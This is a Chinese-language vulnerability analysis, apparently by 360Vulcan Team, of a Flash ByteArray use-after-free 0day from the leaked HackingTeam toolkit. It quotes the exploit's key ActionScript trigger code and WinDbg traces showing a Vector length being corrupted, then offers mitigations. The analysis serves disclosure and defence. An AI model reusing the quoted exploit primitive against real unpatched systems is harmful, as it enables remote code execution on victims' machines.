我們發(fā)現(xiàn)其中至少包含了兩個針對Adobe Flash的遠程代碼執(zhí)行漏洞和一個針對微軟Windows內(nèi)核字體權(quán)限提升漏洞的完整攻擊代碼(exploit)。其中一個Flash漏洞已經(jīng)在今年4月修補,其他兩個漏洞都未修復(fù)。
其中Flash漏洞exploit被設(shè)計為可以針對IE、Chrome瀏覽器和Office軟件進行攻擊。攻擊者通過嵌入精心構(gòu)造的惡意Flash 文件到網(wǎng)頁或Office文檔中,使得訪問特定網(wǎng)頁或打開Office文檔的用戶感染惡意代碼。同時,這些惡意代碼通過結(jié)合Windows內(nèi)核字體權(quán)限提 升漏洞,可以繞過IE(保護模式或增強保護模式)、Chrome(Chrome Sandbox,< Chrome 43)和Office(保護模式)的沙盒保護,完全控制用戶的電腦。
360Vulcan Team對這些漏洞進行分析,并分為三個部分將這些0day的信息共享給安全社區(qū),希望軟件廠商和安全廠商共同行動,盡快修補和防御著這些“在野”的0day漏洞。
Flash 0day -ActionScript ByteArray Buffer Use After Free
看起來HackingTeam的遠程exploit工具中廣泛使用了同一個flash漏洞(攻擊目標(biāo)可以是IE、Chrome、Office系列):
初步分析這個Exploit之后,我們發(fā)現(xiàn)這個Exploit在最新版本的Adobe Flash(18.0.0.194)中仍然可以觸發(fā),因此這應(yīng)該是一個0day漏洞。
漏洞原理分析
這個漏洞成因在于,F(xiàn)lash對ByteArray內(nèi)部的buffer使用不當(dāng),而造成Use After Free漏洞。
我們來看一下HackingTeam泄露的exploit代碼,關(guān)鍵部分如下:
1.? 定義ByteArray
for(var?i:int;?i?<?alen;?i+=3){ ?????????????????a[i]?=?new?Class2(i); ???????????????? ?????????????????a[i+1]?=?new?ByteArray(); ?????????????????a[i+1].length?=?0xfa0; ???????????????? ?????????????????a[i+2]?=?new?Class2(i+2); ?????????????}
首先定義一系列的ByteArray,這些ByteArray初始大小被設(shè)置成0xfa0,ActionScript內(nèi)部會為每個Buffer分配0×1000大小的內(nèi)存。
1.? 給ByteArray元素賦值:
_ba?=?a[i]; ?????????????????//?call?valueOf()?and?cause?UaF?memory?corruption ?????????????????_ba[3]?=?new?Clasz();
這一步是觸發(fā)漏洞的關(guān)鍵,由于ByteArray的元素類型是Byte,當(dāng)把Clasz類賦值給ByteArray[3]時,AVM會試圖將其轉(zhuǎn)化為Byte,此時Clasz的valueOf函數(shù)將被調(diào)用:
prototype.valueOf?=?function() ?????{ ?????????ref?=?new?Array(5); ?????????collect.push(ref); ???????? ?????????//?realloc ?????????_ba.length?=?0x1100; ???????? ?????????//?use?after?free ?????????for?(var?i:int;?i?<?ref.length;?i++) ?????????????ref[i]?=?new?Vector.<uint>(0x3f0); ???????? ?????????return?0x40 ?????}
在valueOf函數(shù)中,最關(guān)鍵的一部是更改了ByteArray的長度,將其設(shè)置成為0×1100,這個操作將會觸發(fā)ByteArray內(nèi)部 buffer的重新分配,舊的buffer(大小為0×1000)將會被釋放。緊接著exploit代碼會分配若干個 vector<uint>對象,每個vector同樣占用0×1000字節(jié)的內(nèi)存,試圖去重新使用已經(jīng)釋放的ByteArray buffer的內(nèi)存。
valueOf函數(shù)返回0×40,然后0×40會被寫入buffer[3]這里,如果邏輯正確,那么此處應(yīng)該寫入的是新分配的buffer;然而由 于代碼漏洞,這里寫入的已經(jīng)釋放的0×1000大小的舊buffer,于是事實上寫入的是vector對象的頭部,整個過程如下:
1.? ByteArray創(chuàng)建并設(shè)置長度0xfe0:
old?buffer??|???????????????????????| 0?????????????????????????????????0x1000 2.??設(shè)置_ba[3],調(diào)用valueOf,在valueOf中設(shè)置ByteArray.length?=?0x1100,此時old?buffer被釋放 old?buffer?(Freed)??|???????????????????????| 0?????????????????????????????????0x1000 3.??然后0x1000大小的vector占據(jù)old?buffer內(nèi)存,前4個字節(jié)是vector的長度字段: Vector??????????|?f0?03?00?00???????????????| 0?????????????????????????????????0x1000 4.??valueOf返回0x40,0x40被寫入buffer[3],由于UAF漏洞的存在,寫入的是vector的size字段: Vector??????????|?f0?03?00?40???????????????| 0?????????????????????????????????0x1000
于是我們可以得到一個超長的vector對象:
我們可以通過調(diào)試來觀察漏洞的觸發(fā)過程:
1.? 調(diào)用valueOf之前
0:005>?u 671cf2a5???call?????671b0930?//這里最終調(diào)用valueOf 671cf2aa?83c404??????????add?????esp,4 671cf2ad?8806????????????mov?????byte?ptr?[esi],al 671cf2af?5e??????????????pop?????esi
此時esi指向old buffer:
0:005>?dd?esi-3 0dfd5000??00000000?00000000?00000000?00000000 0dfd5010??00000000?00000000?00000000?00000000
2.? 調(diào)用valueOf之后,old buffer被釋放,然后被vector占據(jù):
0:005>?p 671cf2aa?83c404??????????add?????esp,4
此時esi已經(jīng)指向新分配的vector,就buffer已經(jīng)被釋放
0:005>?dd?esi-3 0dfd5000??000003f0?0d2b3000?00000000?00000000 0dfd5010??00000000?00000000?00000000?00000000 0dfd5020??00000000?00000000?00000000?00000000 0dfd5030??00000000?00000000?00000000?00000000 0dfd5040??00000000?00000000?00000000?00000000 0dfd5050??00000000?00000000?00000000?00000000 0dfd5060??00000000?00000000?00000000?00000000 0dfd5070??00000000?00000000?00000000?00000000
3.? 寫入buffer[3
接下來valueOf的返回值0x40被寫入buffer[3](及vector.size字段):
0:005>?p eax=00000040?ebx=0d8b4921?ecx=00000206?edx=00000006?esi=0dfd5003?edi=0d362020 eip=671cf2ad?esp=04f2ceec?ebp=04f2d050?iopl=0?????????nv?up?ei?pl?nz?na?po?nc cs=001b??ss=0023??ds=0023??es=0023??fs=003b??gs=0000?????????????efl=00200202 Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07d: 671cf2ad?8806????????????mov?????byte?ptr?[esi],al??????????ds:0023:0dfd5003=00 0:005>?p Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07f: 671cf2af?5e??????????????pop?????esi 0:005>?dd?esi-3 0dfd5000??400003f0?0d2b3000?00000000?00000000 0dfd5010??00000000?00000000?00000000?00000000 0dfd5020??00000000?00000000?00000000?00000000 0dfd5030??00000000?00000000?00000000?00000000
可以看到vector的長度以及被修改成0x400003f0。
漏洞防范
由于該漏洞利用非常穩(wěn)定,而Adobe暫時沒有發(fā)布該漏洞的補丁,更可怕的是從HackingTeam泄露的數(shù)據(jù)來看,該exploit還帶有沙盒 突破提權(quán)功能,危害甚大。我們建議補丁發(fā)布之前,可以暫時先禁用flash插件;也可以開啟Chrome或Chrome核心瀏覽器針對插件的Click- to-Run功能,來緩解Flash 0day的攻擊。